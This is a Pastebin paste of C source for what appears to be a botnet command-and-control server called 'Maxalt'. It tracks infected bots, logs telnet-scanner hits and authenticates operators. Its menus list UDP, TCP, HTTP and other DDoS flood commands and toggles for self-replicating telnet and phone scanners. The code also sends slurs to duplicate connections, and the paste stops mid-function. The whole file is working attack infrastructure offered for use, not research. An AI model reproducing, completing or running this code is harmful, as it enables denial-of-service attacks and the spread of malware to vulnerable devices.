Advertisement
Maxalts

Maxalt.c

Nov 16th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.99 KB | None | 0 0
  1. /*
  2.  
  3. ..................................................
  4. Made By
  5. ███╗ ███╗ █████╗ ██╗ ██╗ █████╗ ██╗ ████████╗
  6. ████╗ ████║██╔══██╗╚██╗██╔╝██╔══██╗██║ ╚══██╔══╝
  7. ██╔████╔██║███████║ ╚███╔╝ ███████║██║ ██║
  8. ██║╚██╔╝██║██╔══██║ ██╔██╗ ██╔══██║██║ ██║
  9. ██║ ╚═╝ ██║██║ ██║██╔╝ ██╗██║ ██║███████╗██║
  10. ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝
  11. ..................................................
  12.  
  13. Blue = '\x1b[0;34m'
  14. Brown = '\x1b[0;33m'
  15. Cyan = '\x1b[0;36m'
  16. DarkGray = '\x1b[1;30m'
  17. Green = '\x1b[0;32m'
  18. LightBlue = '\x1b[1;34m'
  19. LightCyan = '\x1b[1;36m'
  20. LightGray = '\x1b[0;35m'
  21. LightGreen = '\x1b[1;32m'
  22. LightPurple = '\x1b[1;35m'
  23. LightRed = '\x1b[1;31m'
  24. Normal = '\x1b[0m'
  25. Purple = '\x1b[0;35m'
  26. Red = '\x1b[0;31m'
  27. White = '\x1b[1;37m'
  28. Yellow = '\x1b[1;33m
  29. */
  30.  
  31.  
  32. #include <stdio.h>
  33. #include <stdlib.h>
  34. #include <string.h>
  35. #include <sys/types.h>
  36. #include <sys/socket.h>
  37. #include <netdb.h>
  38. #include <unistd.h>
  39. #include <time.h>
  40. #include <fcntl.h>
  41. #include <sys/epoll.h>
  42. #include <errno.h>
  43. #include <pthread.h>
  44. #include <signal.h>
  45.  
  46. #define MAXFDS 1000000
  47. #define RED "\x1b[0;31m"
  48. #define GREEN "\x1b[0;32m"
  49. #define C_RESET "\x1b[0m"
  50.  
  51. struct account {
  52. char id[20];
  53. char password[20];
  54. };
  55. static struct account accounts[10]; //max users is set on 50
  56. struct clientdata_t {
  57. uint32_t ip;
  58. char build[7];
  59. char connected;
  60. } clients[MAXFDS];
  61. struct telnetdata_t {
  62. int connected;
  63. } managements[MAXFDS];
  64. ////////////////////////////////////
  65. static volatile FILE *telFD;
  66. static volatile FILE *fileFD;
  67. static volatile int epollFD = 0;
  68. static volatile int listenFD = 0;
  69. static volatile int managesConnected = 0;
  70. static volatile int TELFound = 0;
  71. static volatile int scannerreport;
  72. ////////////////////////////////////
  73. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  74. {
  75. int total = 0, got = 1;
  76. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  77. return got;
  78. }
  79. void trim(char *str)
  80. {
  81. int i;
  82. int begin = 0;
  83. int end = strlen(str) - 1;
  84. while (isspace(str[begin])) begin++;
  85. while ((end >= begin) && isspace(str[end])) end--;
  86. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  87. str[i - begin] = '\0';
  88. }
  89. static int make_socket_non_blocking (int sfd)
  90. {
  91. int flags, s;
  92. flags = fcntl (sfd, F_GETFL, 0);
  93. if (flags == -1)
  94. {
  95. perror ("fcntl");
  96. return -1;
  97. }
  98. flags |= O_NONBLOCK;
  99. s = fcntl (sfd, F_SETFL, flags);
  100. if (s == -1)
  101. {
  102. perror ("fcntl");
  103. return -1;
  104. }
  105. return 0;
  106. }
  107. static int create_and_bind (char *port)
  108. {
  109. struct addrinfo hints;
  110. struct addrinfo *result, *rp;
  111. int s, sfd;
  112. memset (&hints, 0, sizeof (struct addrinfo));
  113. hints.ai_family = AF_UNSPEC;
  114. hints.ai_socktype = SOCK_STREAM;
  115. hints.ai_flags = AI_PASSIVE;
  116. s = getaddrinfo (NULL, port, &hints, &result);
  117. if (s != 0)
  118. {
  119. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  120. return -1;
  121. }
  122. for (rp = result; rp != NULL; rp = rp->ai_next)
  123. {
  124. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  125. if (sfd == -1) continue;
  126. int yes = 1;
  127. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  128. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  129. if (s == 0)
  130. {
  131. break;
  132. }
  133. close (sfd);
  134. }
  135. if (rp == NULL)
  136. {
  137. fprintf (stderr, "STOP USING IRELIVANT PORTS\n");
  138. return -1;
  139. }
  140. freeaddrinfo (result);
  141. return sfd;
  142. }
  143. void broadcast(char *msg, int us, char *sender)
  144. {
  145. int sendMGM = 1;
  146. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  147. char *wot = malloc(strlen(msg) + 10);
  148. memset(wot, 0, strlen(msg) + 10);
  149. strcpy(wot, msg);
  150. trim(wot);
  151. time_t rawtime;
  152. struct tm * timeinfo;
  153. time(&rawtime);
  154. timeinfo = localtime(&rawtime);
  155. char *timestamp = asctime(timeinfo);
  156. trim(timestamp);
  157. int i;
  158. for(i = 0; i < MAXFDS; i++)
  159. {
  160. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  161. if(sendMGM && managements[i].connected)
  162. {
  163. send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  164. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  165. send(i, ": ", 2, MSG_NOSIGNAL);
  166. }
  167. //printf("sent to fd: %d\n", i);
  168. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  169. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[35mMaxalt> \x1b[35m", 13, MSG_NOSIGNAL);
  170. else send(i, "\n", 1, MSG_NOSIGNAL);
  171. }
  172. free(wot);
  173. }
  174. void *epollEventLoop(void *useless)
  175. {
  176. struct epoll_event event;
  177. struct epoll_event *events;
  178. int s;
  179. events = calloc (MAXFDS, sizeof event);
  180. while (1)
  181. {
  182. int n, i;
  183. n = epoll_wait (epollFD, events, MAXFDS, -1);
  184. for (i = 0; i < n; i++)
  185. {
  186. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  187. {
  188. clients[events[i].data.fd].connected = 0;
  189. close(events[i].data.fd);
  190. continue;
  191. }
  192. else if (listenFD == events[i].data.fd)
  193. {
  194. while (1)
  195. {
  196. struct sockaddr in_addr;
  197. socklen_t in_len;
  198. int infd, ipIndex;
  199. in_len = sizeof in_addr;
  200. infd = accept (listenFD, &in_addr, &in_len);
  201. if (infd == -1)
  202. {
  203. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  204. else
  205. {
  206. perror ("accept");
  207. break;
  208. }
  209. }
  210. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  211. int dup = 0;
  212. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  213. {
  214. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  215. if(clients[ipIndex].ip == clients[infd].ip)
  216. {
  217. dup = 1;
  218. break;
  219. }
  220. }
  221.  
  222. if(dup)
  223. {
  224. if(send(infd, "!* GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  225. if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  226. if(send(infd, "!* GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  227. if(send(infd, "!* DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  228. if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  229. if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  230. close(infd);
  231. continue;
  232. }
  233.  
  234. s = make_socket_non_blocking (infd);
  235. if (s == -1) { close(infd); break; }
  236.  
  237. event.data.fd = infd;
  238. event.events = EPOLLIN | EPOLLET;
  239. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  240. if (s == -1)
  241. {
  242. perror ("epoll_ctl");
  243. close(infd);
  244. break;
  245. }
  246.  
  247. clients[infd].connected = 1;
  248.  
  249. }
  250. continue;
  251. }
  252. else
  253. {
  254. int thefd = events[i].data.fd;
  255. struct clientdata_t *client = &(clients[thefd]);
  256. int done = 0;
  257. client->connected = 1;
  258. while (1)
  259. {
  260. ssize_t count;
  261. char buf[2048];
  262. memset(buf, 0, sizeof buf);
  263.  
  264. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  265. {
  266. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  267. trim(buf);
  268. if(strcmp(buf, "PING") == 0)
  269. {
  270. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  271. continue;
  272. }
  273. if(strstr(buf, "REPORT ") == buf)
  274. {
  275. char *line = strstr(buf, "REPORT ") + 7;
  276. fprintf(telFD, "%s\n", line);
  277. fflush(telFD);
  278. TELFound++;
  279. continue;
  280. }
  281. if(strstr(buf, "PROBING") == buf)
  282. {
  283. char *line = strstr(buf, "PROBING");
  284. scannerreport = 1;
  285. continue;
  286. }
  287. if(strstr(buf, "REMOVING PROBE") == buf)
  288. {
  289. char *line = strstr(buf, "REMOVING PROBE");
  290. scannerreport = 0;
  291. continue;
  292. }
  293. if(strcmp(buf, "PONG") == 0)
  294. {
  295. continue;
  296. }
  297.  
  298. printf("buf: \"%s\"\n", buf);
  299. }
  300.  
  301. if (count == -1)
  302. {
  303. if (errno != EAGAIN)
  304. {
  305. done = 1;
  306. }
  307. break;
  308. }
  309. else if (count == 0)
  310. {
  311. done = 1;
  312. break;
  313. }
  314. }
  315.  
  316. if (done)
  317. {
  318. client->connected = 0;
  319. close(thefd);
  320. }
  321. }
  322. }
  323. }
  324. }
  325. unsigned int clientsConnected()
  326. {
  327. int i = 0, total = 0;
  328. for(i = 0; i < MAXFDS; i++)
  329. {
  330. if(!clients[i].connected) continue;
  331. total++;
  332. }
  333.  
  334. return total;
  335. }
  336. void *titleWriter(void *sock)
  337. {
  338. int thefd = (int)sock;
  339. char string[2048];
  340. while(1)
  341. {
  342. memset(string, 0, 2048);
  343. sprintf(string, "%c]0; [+] Angels: %d [Underworld] Devils: %d[+]%c", '\033', clientsConnected(), managesConnected, '\007');
  344. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  345.  
  346. sleep(3);
  347. }
  348. }
  349.  
  350. int Search_in_File(char *str)
  351. {
  352. FILE *fp;
  353. int line_num = 0;
  354. int find_result = 0, find_line=0;
  355. char temp[512];
  356.  
  357. if((fp = fopen("Maxalt.txt", "r")) == NULL){
  358. return(-1);
  359. }
  360. while(fgets(temp, 512, fp) != NULL){
  361. if((strstr(temp, str)) != NULL){
  362. find_result++;
  363. find_line = line_num;
  364. }
  365. line_num++;
  366. }
  367. if(fp)
  368. fclose(fp);
  369.  
  370. if(find_result == 0)return 0;
  371.  
  372. return find_line;
  373. }
  374. void client_addr(struct sockaddr_in addr){
  375. printf("IP:%d.%d.%d.%d\n",
  376. addr.sin_addr.s_addr & 0xFF,
  377. (addr.sin_addr.s_addr & 0xFF00)>>8,
  378. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  379. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  380. FILE *logFile;
  381. logFile = fopen("server.log", "a");
  382. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  383. addr.sin_addr.s_addr & 0xFF,
  384. (addr.sin_addr.s_addr & 0xFF00)>>8,
  385. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  386. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  387. fclose(logFile);
  388. }
  389.  
  390. void *telnetWorker(void *sock)
  391. {
  392. char usernamez[80];
  393. int thefd = (int)sock;
  394. int find_line;
  395. managesConnected++;
  396. pthread_t title;
  397. char counter[2048];
  398. memset(counter, 0, 2048);
  399. char buf[2048];
  400. char* nickstring;
  401. char* username;
  402. char* password;
  403. memset(buf, 0, sizeof buf);
  404. char botnet[2048];
  405. memset(botnet, 0, 2048);
  406.  
  407. FILE *fp;
  408. int i=0;
  409. int c;
  410. fp=fopen("Maxalt.txt", "r");
  411. while(!feof(fp))
  412. {
  413. c=fgetc(fp);
  414. ++i;
  415. }
  416. int j=0;
  417. rewind(fp);
  418. while(j!=i-1)
  419. {
  420. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  421. ++j;
  422. }
  423.  
  424. if(send(thefd, "\x1b[1;35mUsername: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  425. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  426. trim(buf);
  427. sprintf(usernamez, buf);
  428. nickstring = ("%s", buf);
  429. find_line = Search_in_File(nickstring);
  430. if(strcmp(nickstring, accounts[find_line].id) == 0){
  431. if(send(thefd, "\x1b[1;35m* Underworld *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  432. if(send(thefd, "\x1b[1;35mPassword: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  433. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  434. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  435. trim(buf);
  436. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  437. memset(buf, 0, 2048);
  438. goto fak;
  439. }
  440. failed:
  441. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  442. if(send(thefd, "\x1b[35m************************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  443. if(send(thefd, "\x1b[31m* You Were Not Summoned *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  444. if(send(thefd, "\x1b[35m************************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  445. sleep(5);
  446. goto end;
  447. fak:
  448.  
  449. Title:
  450. pthread_create(&title, NULL, &titleWriter, sock);
  451. char ascii_banner_line1 [5000];
  452. char ascii_banner_line2 [5000];
  453. char ascii_banner_line3 [5000];
  454. char ascii_banner_line4 [5000];
  455. char ascii_banner_line5 [5000];
  456. char ascii_banner_line6 [5000];
  457. char ascii_banner_line7 [5000];
  458. char line1 [80];
  459. char line2 [80];
  460.  
  461. sprintf(ascii_banner_line1, "\x1b[1;35m███╗ ███╗ █████╗ ██╗ ██╗ █████╗ ██╗ ████████╗ \r\n");
  462. sprintf(ascii_banner_line2, "\x1b[0;35m████╗ ████║██╔══██╗╚██╗██╔╝██╔══██╗██║ ╚══██╔══╝\r\n");
  463. sprintf(ascii_banner_line3, "\x1b[1;35m██╔████╔██║███████║ ╚███╔╝ ███████║██║ ██║ \r\n");
  464. sprintf(ascii_banner_line4, "\x1b[0;35m██║╚██╔╝██║██╔══██║ ██╔██╗ ██╔══██║██║ ██║ \r\n");
  465. sprintf(ascii_banner_line5, "\x1b[1;35m██║ ╚═╝ ██║██║ ██║██╔╝ ██╗██║ ██║███████╗██║ \r\n");
  466. sprintf(ascii_banner_line6, "\x1b[0;35m╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ \r\n");
  467. sprintf(ascii_banner_line7, "\x1b[1;35m Made By Maxalt Kik:LordRias IG:RIUMaxalt \r\n");
  468. sprintf(line1, "\x1b[0;35m $ \x1b[1;35mWelcome To The Underworld\x1b[0;35m $\r\n", accounts[find_line].id, buf);
  469. sprintf(line2, "\x1b[1;35m $ \x1b[1;35m Type HELP \x1b[1;35m$\r\n");
  470.  
  471. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  472. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  473. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  474. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  475. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  476. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  477. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  478. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  479. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  480. while(1) {
  481. if(send(thefd, "\x1b[0;35mMaxalt> \x1b[0;35m", 13, MSG_NOSIGNAL) == -1) goto end;
  482. break;
  483. }
  484. pthread_create(&title, NULL, &titleWriter, sock);
  485. managements[thefd].connected = 1;
  486.  
  487. while(fdgets(buf, sizeof buf, thefd) > 0)
  488. {
  489. if(strstr(buf, "BOTS"))
  490. {
  491. sprintf(botnet, "[+] Angels: %d [-] Devils: %d [+]\r\n", clientsConnected(), managesConnected);
  492. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  493. }
  494. if(strstr(buf, "!* TCP"))
  495. {
  496. sprintf(botnet, "Never Talk Shit Again\r\n");
  497. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  498. }
  499. if(strstr(buf, "!* UDP"))
  500. {
  501. sprintf(botnet, "Never Talk Shit Again\r\n");
  502. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  503. }
  504. if(strstr(buf, "!* STD"))
  505. {
  506. sprintf(botnet, "Never Talk Shit Again\r\n");
  507. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  508. }
  509. if(strstr(buf, "!* HTTP"))
  510. {
  511. sprintf(botnet, "HITTING HIS WEBSITE.. RIP\r\n");
  512. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  513. }
  514. if(strstr(buf, "!* SCANNER ON"))
  515. {
  516. sprintf(botnet, "TELNET SCANNER STARTED\r\n");
  517. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  518. }
  519. if(strstr(buf, "!* SCANNER OFF"))
  520. {
  521. sprintf(botnet, "TELNET SCANNER STOPPED\r\n");
  522. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  523. }
  524. if(strstr(buf, "PORTS"))
  525. {
  526. sprintf(botnet, "PORTS: 77=TFTP 53=DNS 443=HTTPS Source Port 22=SSH 80=HTTP\r\n");
  527. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  528. }
  529. if(strstr(buf, "!* Creators"))
  530. {
  531. sprintf(botnet, "Made By Maxalts\r\n");
  532. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  533. }
  534. if(strstr(buf, "Hi"))
  535. {
  536. sprintf(botnet, "My Names Maxalts\r\n");
  537. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  538. }
  539. if(strstr(buf, "RECORD"))
  540. {
  541. sprintf(botnet, "BOT RECORD ON V6: 3046 TELL ME YOURS IG @RIUMaxalt\r\n");
  542. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  543. }
  544. if(strstr(buf, "HELP")) {
  545. pthread_create(&title, NULL, &titleWriter, sock);
  546. char helpline1 [80];
  547. char helpline2 [80];
  548. char helpline3 [80];
  549. char helpline4 [80];
  550. char helpline5 [80];
  551.  
  552. sprintf(helpline1, "\x1b[0;31mType A Option From Below:\r\n");
  553. sprintf(helpline2, "\x1b[1;33m[\x1b[35mDDOS\x1b[0;35m] ~ DDOS Commands\r\n");
  554. sprintf(helpline3, "\x1b[0;32m[\x1b[36mEXTRA\x1b[0;32m] ~ Extra Lit Commands\r\n");
  555. sprintf(helpline4, "\x1b[0;36m[\x1b[32mSELFREP\x1b[0;36m] ~ ADMINS ONLY\r\n");;
  556. sprintf(helpline5, "\x1b[1;35m[\x1b[31mOTHER\x1b[1;35m] ~ HELLA SHIT\r\n");;
  557.  
  558. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  559. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  560. if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  561. if(send(thefd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  562. if(send(thefd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  563. pthread_create(&title, NULL, &titleWriter, sock);
  564. while(1) {
  565. if(send(thefd, "\x1b[0;35mMaxalt> \x1b[36m", 12, MSG_NOSIGNAL) == -1) goto end;
  566. break;
  567. }
  568. continue;
  569. }
  570. if(strstr(buf, "DDOS")) {
  571. pthread_create(&title, NULL, &titleWriter, sock);
  572. char ddosline1 [80];
  573. char ddosline2 [80];
  574. char ddosline3 [80];
  575. char ddosline4 [80];
  576. char ddosline5 [80];
  577. char ddosline6 [80];
  578. char ddosline7 [80];
  579. char ddosline8 [80];
  580. char ddosline9 [80];
  581.  
  582. sprintf(ddosline1, "\x1b[35m\x1b[35m !* UDP [IP] [PORT] [TIME] 32 1337 400 | UDP FLOOD\r\n");
  583. sprintf(ddosline2, "\x1b[35m\x1b[35m !* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  584. sprintf(ddosline3, "\x1b[35m\x1b[35m !* TCP [IP] [PORT] [TIME] 32 all 1337 400| TCP FLOOD\r\n");
  585. sprintf(ddosline4, "\x1b[35m\x1b[35m !* UDP [IP] [PORT] [TIME] 32 ack 1337 400 | ACK FLOOD\r\n");
  586. sprintf(ddosline5, "\x1b[35m\x1b[35m !* JUNK [IP] [PORT] [TIME] | JUNK FLOOD\r\n");
  587. sprintf(ddosline6, "\x1b[35m\x1b[35m !* HOLD [IP] [PORT] [TIME] | HOLD FLOOD\r\n");
  588. sprintf(ddosline7, "\x1b[35m\x1b[35m !* COMBO [IP] [PORT] [TIME] | COMBO FLOOD HOLD AND JUNK\r\n");
  589. sprintf(ddosline8, "\x1b[35m\x1b[35m !* HUG [IP] [PORT] [TIME] | HUG FLOOD\r\n");
  590. sprintf(ddosline9, "\x1b[35m\x1b[35m !* KILLATTK | KILLS ALL ATTACKS\r\n");
  591.  
  592. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  593. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  594. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  595. if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
  596. if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
  597. if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
  598. if(send(thefd, ddosline7, strlen(ddosline7), MSG_NOSIGNAL) == -1) goto end;
  599. if(send(thefd, ddosline8, strlen(ddosline8), MSG_NOSIGNAL) == -1) goto end;
  600. if(send(thefd, ddosline9, strlen(ddosline9), MSG_NOSIGNAL) == -1) goto end;
  601. pthread_create(&title, NULL, &titleWriter, sock);
  602. while(1) {
  603. if(send(thefd, "\x1b[0;35mMaxalt> \x1b[35m", 12, MSG_NOSIGNAL) == -1) goto end;
  604. break;
  605. }
  606. continue;
  607. }
  608. if(strstr(buf, "SELFREP")) {
  609. pthread_create(&title, NULL, &titleWriter, sock);
  610. char repline1 [80];
  611. char repline2 [80];
  612. char repline3 [80];
  613. char repline4 [80];
  614.  
  615. sprintf(repline1, "\x1b[32m !* PHONE ON | TURNS ON PHONE SELF REPLIFICATION\r\n");
  616. sprintf(repline2, "\x1b[32m !* SCANNER ON | TURNS ON TELNET SELF REPLIFICATION\r\n");
  617. sprintf(repline3, "\x1b[32m !* PHONE OFF | TURNS OFF PHONE SELF REPLIFICATION\r\n");
  618. sprintf(repline4, "\x1b[32m !* SCANNER OFF | TURNS OFF TELNET SELF REPLIFICATION\r\n");
  619.  
  620. if(send(thefd, repline1, strlen(repline1), MSG_NOSIGNAL) == -1) goto end;
  621. if(send(thefd, repline2, strlen(repline2), MSG_NOSIGNAL) == -1) goto end;
  622. if(send(thefd, repline3, strlen(repline3), MSG_NOSIGNAL) == -1) goto end;
  623. if(send(thefd, repline4, strlen(repline4), MSG_NOSIGNAL) == -1) goto end;
  624. pthread_create(&title, NULL, &titleWriter, sock);
  625. while(1) {
  626. if(send(thefd, "\x1b[0;35Maxalt> \x1b[35m", 12, MSG_NOSIGNAL) == -1) goto end;
  627. break;
  628. }
  629. continue;
  630. }
  631.  
  632. if(strstr(buf, "EXTRA")) {
  633. pthread_create(&title, NULL, &titleWriter, sock);
  634. char extraline1 [80];
  635. char extraline2 [80];
  636. char extraline3 [80];
  637. char extraline4 [80];
  638. char extraline5 [80];
  639. char extraline6 [80];
  640.  
  641. sprintf(extraline1, "\x1b[36m BOTS | BOT COUNT DUH\r\n");
  642. sprintf(extraline2, "\x1b[36m CLEAR | CLEARS SCREEN DUH\r\n");
  643. sprintf(extraline3, "\x1b[36m Rias | Rias Server Side\r\n");
  644. sprintf(extraline4, "\x1b[36m BotNet | Plain Server Side\r\n");
  645. sprintf(extraline5, "\x1b[36m GB | TO LOGOUT...\r\n");
  646.  
  647. if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  648. if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  649. if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  650. if(send(thefd, extraline4, strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
  651. if(send(thefd, extraline5, strlen(extraline5), MSG_NOSIGNAL) == -1) goto end;
  652. pthread_create(&title, NULL, &titleWriter, sock);
  653. while(1) {
  654. if(send(thefd, "\x1b[0;35mMaxalt> \x1b[35m", 12, MSG_NOSIGNAL) == -1) goto end;
  655. break;
  656. }
  657. continue;
  658. }
  659. if(strstr(buf, "OTHER")) {
  660. pthread_create(&title, NULL, &titleWriter, sock);
  661. char other1 [80];
  662. char other2 [80];
  663. char other3 [80];
  664. char other4 [80];
  665. char other5 [80];
  666.  
  667. sprintf(other1, "\x1b[36m ~~PORTS | PORTS TO HIT WITH DUH\r\n");
  668. sprintf(other2, "\x1b[36m ~~BOTS | BOT COUNT DUH\r\n");
  669. sprintf(other3, "\x1b[36m ~~!* DEV | SHOW WHO MAD THIS \r\n");
  670. sprintf(other4, "\x1b[36m ~~GB | TO LOGOUT...\r\n");
  671. sprintf(other5, "\x1b[36m ~~GT | TELL YOU A GT I WANT!\r\n");
  672. sprintf(other5, "\x1b[36m ~~RECORD ~ Highest bot count on v6!\r\n");
  673.  
  674. if(send(thefd, other1, strlen(other1), MSG_NOSIGNAL) == -1) goto end;
  675. if(send(thefd, other2, strlen(other2), MSG_NOSIGNAL) == -1) goto end;
  676. if(send(thefd, other3, strlen(other3), MSG_NOSIGNAL) == -1) goto end;
  677. if(send(thefd, other4, strlen(other4), MSG_NOSIGNAL) == -1) goto end;
  678. if(send(thefd, other5, strlen(other5), MSG_NOSIGNAL) == -1) goto end;
  679. pthread_create(&title, NULL, &titleWriter, sock);
  680. while(1) {
  681. if(send(thefd, "\x1b[0;35mMaxalt> \x1b[35m", 12, MSG_NOSIGNAL) == -1) goto end;
  682. break;
  683. }
  684. continue;
  685. }
  686. if(strstr(buf, "CLEAR")){
  687.  
  688. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  689. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  690. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  691. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  692. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  693. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  694. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  695. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  696. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  697. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  698. managements[thefd].connected = 1;
  699. }
  700. if(strstr(buf, "clear")){
  701. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  702. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  703. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  704. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  705. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  706. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  707. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
